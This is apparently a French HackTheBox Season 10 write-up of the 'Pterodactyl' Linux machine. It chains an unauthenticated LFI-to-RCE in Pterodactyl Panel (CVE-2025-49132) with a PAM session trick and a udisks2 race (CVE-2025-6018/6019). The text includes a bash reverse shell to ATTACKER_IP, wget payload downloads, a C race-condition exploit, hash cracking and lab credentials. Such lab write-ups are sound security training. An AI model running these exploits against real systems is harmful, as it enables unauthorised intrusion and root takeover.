
Saison 10 de HTB - Write-up de la machine Pterodactyl. Machine Linux de difficulté moyenne couvrant CVE-2025-49132 (RCE du Pterodactyl Panel) et CVE-2025-6018/6019 (élévation de privilèges udisks2).
Difficulté : Moyenne | OS : Linux (openSUSE Leap 15.6) | Saison : 10
Pterodactyl est une machine Linux de difficulté moyenne exécutant le panel de serveur de jeux Pterodactyl. La chaîne d'attaque implique une vulnérabilité LFI-vers-RCE non authentifiée dans le panel, l'extraction d'identifiants via MySQL, le cassage de hash bcrypt pour l'accès SSH, et une chaîne d'élévation de privilèges en deux CVE abusant de l'injection de session PAM et d'une condition de course XFS resize dans udisks2.
Flags :
************************nmap -sSCV -A --min-rate 4000 10.129.44.184
Ports ouverts :
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 |
| 80 | HTTP | nginx/1.21.5 → pterodactyl.htb |
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt
Points clés du changelog :
panel.pterodactyl.htbcurl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
La CVE-2025-49132 affecte Pterodactyl Panel ≤ v1.11.10. Le point de terminaison /locales/locale.json transmet les paramètres locale et namespace directement à include() de PHP sans assainissement ni authentification, permettant un directory traversal et une RCE basée sur pearcmd.
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132
# Dump config (DB creds + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb
# Test RCE
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "id" \
--pear-dir /usr/share/php/PEAR
Sortie : uid=474(wwwrun) gid=477(www) groups=477(www)
| Service | Utilisateur | Mot de passe |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| Laravel | APP_KEY | base64:UaThTPQnUjrrK61o+... |
# Listener
nc -lnvp 4444
# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pear-dir /usr/share/php/PEAR
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
-e "USE panel; SELECT username,email,password FROM users;"
| Utilisateur | Hash |
|---|---|
headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet... |
phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoO... |
cat /home/phileasfogg3/user.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3
Résultat : phileasfogg3 : !QAZ2wsx
ssh [email protected]
# password: !QAZ2wsx
sudo -l
(ALL) ALL est configuré mais l'option Defaults targetpw exige le mot de passe de root — bloquant l'abus sudo standard.
La CVE-2025-6018 abuse de pam_env.so sur openSUSE pour injecter des variables d'environnement au moment de la connexion. En plaçant XDG_SEAT=seat0 et XDG_VTNR=1 dans ~/.pam_environment, un utilisateur SSH distant peut tromper Polkit pour que sa session soit traitée comme une session de console locale active (allow_active), débloquant les actions D-Bus de gestion matérielle.
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
# Exit and SSH back in (PAM re-reads on fresh login)
exit
ssh [email protected]
# Verify
echo $XDG_SEAT # seat0
echo $XDG_VTNR # 1
La CVE-2025-6019 exploite l'absence du drapeau nosuid dans libblockdev lorsque udisks2 monte temporairement une image XFS lors d'un appel D-Bus Filesystem.Resize. En faisant la course pour exécuter un binaire SUID dans l'image pendant cette fenêtre, un utilisateur non privilégié disposant des droits Polkit allow_active peut obtenir un shell root.
# Create XFS image using target's mkfs.xfs for compatibility
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs
# Build on target directly instead
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img
Transférer vers l'attaquant, injecter le binaire SUID, retransférer :
# On attacker (as root)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl # Must show -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz
// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>
int main() {
char path[512], cmd[512];
struct stat st;
while(1) {
DIR *d = opendir("/tmp");
struct dirent *e;
while((e = readdir(d))) {
if(strncmp(e->d_name, "blockdev.", 9) == 0) {
snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
closedir(d);
snprintf(cmd, sizeof(cmd),
"%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
system(cmd);
return 0;
}
}
}
closedir(d);
}
}
gcc -O2 -o racer racer.c
# On target
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer
udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# Note loop device number (e.g. loop7)
rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &
for i in $(seq 1 300); do
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop7 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait
Résultat : shell root obtenu.
id
# uid=0(root)
cat /root/root.txt
[Nmap] Ports 22, 80
↓
[Web Enum] changelog.txt → Pterodactyl Panel v1.11.10
↓
[phpinfo.php] register_argc_argv=On, PEAR in include_path
↓
[CVE-2025-49132] Unauth LFI → pearcmd RCE → wwwrun shell
↓
[MySQL] pterodactyl:PteraPanel → bcrypt hashes
↓
[Hashcat] phileasfogg3:!QAZ2wsx
↓
[SSH] phileasfogg3
↓
[CVE-2025-6018] ~/.pam_environment → allow_active bypass
↓
[CVE-2025-6019] udisks2 XFS resize race → SUID exec → ROOT
| Service | Utilisateur | Mot de passe |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| SSH / Panel | phileasfogg3 | !QAZ2wsx |
Writeup par [kareem elsheikh] | HackTheBox Saison 10
| Paramètre |
|---|
| Valeur |
|---|
| Signification |
|---|
register_argc_argv | On | Active l'exploitation CLI de pearcmd |
include_path | .:/usr/share/php8:/usr/share/php/PEAR | pearcmd.php accessible |
open_basedir | (aucune valeur) | Accès au système de fichiers sans restriction |
| Outil | Objectif |
|---|
| nmap | Scan de ports |
| dirsearch | Force brute de répertoires web |
| Exploit CVE-2025-49132 | LFI non authentifié + RCE pearcmd |
| hashcat (-m 3200) | Cassage bcrypt |
| PoC CVE-2025-6018-6019 | Contournement PAM + course udisks2 |
| Racer C personnalisé | Gagner la condition de course nosuid |